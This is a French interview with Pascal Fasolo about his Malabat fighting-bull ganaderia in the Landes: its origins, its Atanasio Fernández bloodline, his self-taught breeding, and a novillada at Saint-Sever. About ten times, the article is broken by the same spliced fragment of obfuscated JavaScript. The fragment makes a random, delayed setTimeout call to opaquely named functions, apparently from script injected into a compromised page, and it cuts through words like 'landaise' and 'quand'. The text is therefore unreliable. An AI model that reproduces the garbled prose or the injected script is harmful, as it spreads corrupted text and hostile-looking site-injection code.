MALABAT : AU CŒUR DE LA FORÊT

Cette ganaderia va marquer la fin de saison dans le sud ouest en se présentant en piquée à Saint-Sever le 11 novembre. Un symbole de l’évolution dans cette région où vingt ans en arrière on ne pouvait pas parler de campo ganadero. Pascal Fasolo, ancien écarteur landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andais, charpentier de formation et de métier, nous raconte son aventure comme éleveur de toros braves au cœur de la forêt landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise mais aussi comment lui est venue l’aficion.

Pascal Fasolo : Petit, je rêvais d’être torero. J’avais un livre où on parlait de corrida et j’avais appris des passages par cœur. Mais, autour de moi, c’était la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise. Elle était plus accessible, je suis devenu écarteur en 1983. Mais j’était souvent blessé et il arrive un stade où le physique ne suit plus le mental, tu en as toujours envie mais tu ne peux pas continuer. Avant que ça n’aille trop loin il vallait mieux arrêter. Je l’ai fait aussi parce que j’avais monté en 1992 la ganaderia.

-Tout seul ? Non, je me suis associé avec le propriétaire des lieux, de « Malabat », que j’avais connu en venant écarter à Brocas, mais qui est décédé il y a bientôt dix ans. Et j’ai continué. Au départ on était sur la couse landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise, on avait acheté du bétail un peu partout : chez François André, Yonnet et un reproducteur à Gallon. Mais en 1998 on a commencé à tout éliminer et on acheté de l’Atanasio Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andez, via El Palmeral. Là, on a arrêté la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise pour se consacrer à la corrida.

-Il vous reste encore du bétail des autres origines ? Non, en 2002, il n’y avait plus rien.

-Qu’est-ce qui te plaisait chez ces toros, de cette lignée, qu’Olivier Martin avait ramenés de chez Antonio Ordoñez? Je ne connaissais pas spécialement cet encaste, mais il est clair que quoi qu’il arrive aujourd’hui je ne changerai pas. C’est un toro qui n’arrête pas, qui dure. Il démarre même avant le premier « toque », il ne laisse personne indifférent. Il demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande à être toréé et si tu n’en as pas le niveau, automatiquement, tu es en difficulté.

-Comment apprend-on à être éleveur de toros braves ? Je suis arrivé ici en 93 et, sorti de mes piquets et de mes clôtures, je n’ai jamais mis les pieds dans un autre élevage. Je fais souvent le rapprochement avec la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise, parce ce que j’y connais la piste : quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tu as devant toi une bête qui ne charge pas tu ne peux rien faire, c’est clair. Pareil pour un torero dans l’arène. Quoi qu’il arrive, il faut que la bête charge. C’est la base. Après, le toro doit tenir en piste, ne pas tomber. Effectivement au début il y avait des chutes, à cause d’un problème d’alimentation.

-Tu as été aidé par quelqu’un, par un vétérinaire ? Non, j’ai été tout seul. J’écoute beaucoup, j’enregistre. Mais après, dans la vie on apprend à ses dépens. J’ai mis cinq ou six ans à apprendre, à comprendre, dix pour m’améliorer, maintenant on tient la route, on est aux taquets.

-Que signifie la course du 11 novembre pour toi ? La ganaderia a 20 ans, en 2004 on a sorti les premiers « atanasios » de Malabat, ça ne va pas s’arrêter après le 11 novembre. Si ça se passe bien, ça fera une bonne image de marque pour la ganaderia et, si ça se passe moins bien, ce sera plus peut-être un peu plus compliqué mais on va continuer quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and même.

-Comment fait-on pour vivre de sa ganaderia ? L’élevage par lui-même n’est pas rentable, le marché est très restreint, même si depuis le début des années 90 où il y a eu six élevages qui se sont montés dans le sud ouest, les clubs taurins et les associations organisent des sans picadors. Tant qu’ils seront là, on pourra vendre nos toros. Après il y a les touristes, entre 80 et 90% des personnes que je reçois ne sont pas liées à la tauromachie, ils viennent découvrir un élevage de toros. En 20 ans j’ai donné l’envie à pas mal de monde, ça a été une initiation pour beaucoup.

-Qu’est-ce qui te fait le plus plaisir de ce travail ? J’adore le bétail, son intelligence.

-Tu es toujours charpentier ? Non, en 1995 j’ai eu deux hernies discales et on m’a interdit médicalement de faire de la charpente. Il fallait que je fasse quelque chose qui me plaise, qui puisse plaire, et c’est ça que je voulais faire.

11 novembre à Saint Sever : 6 novillos de Malabat pour Mario Dieguez, Miguel Angel Silva et Juan de Castilla.

Fotos Bruno Lasnier

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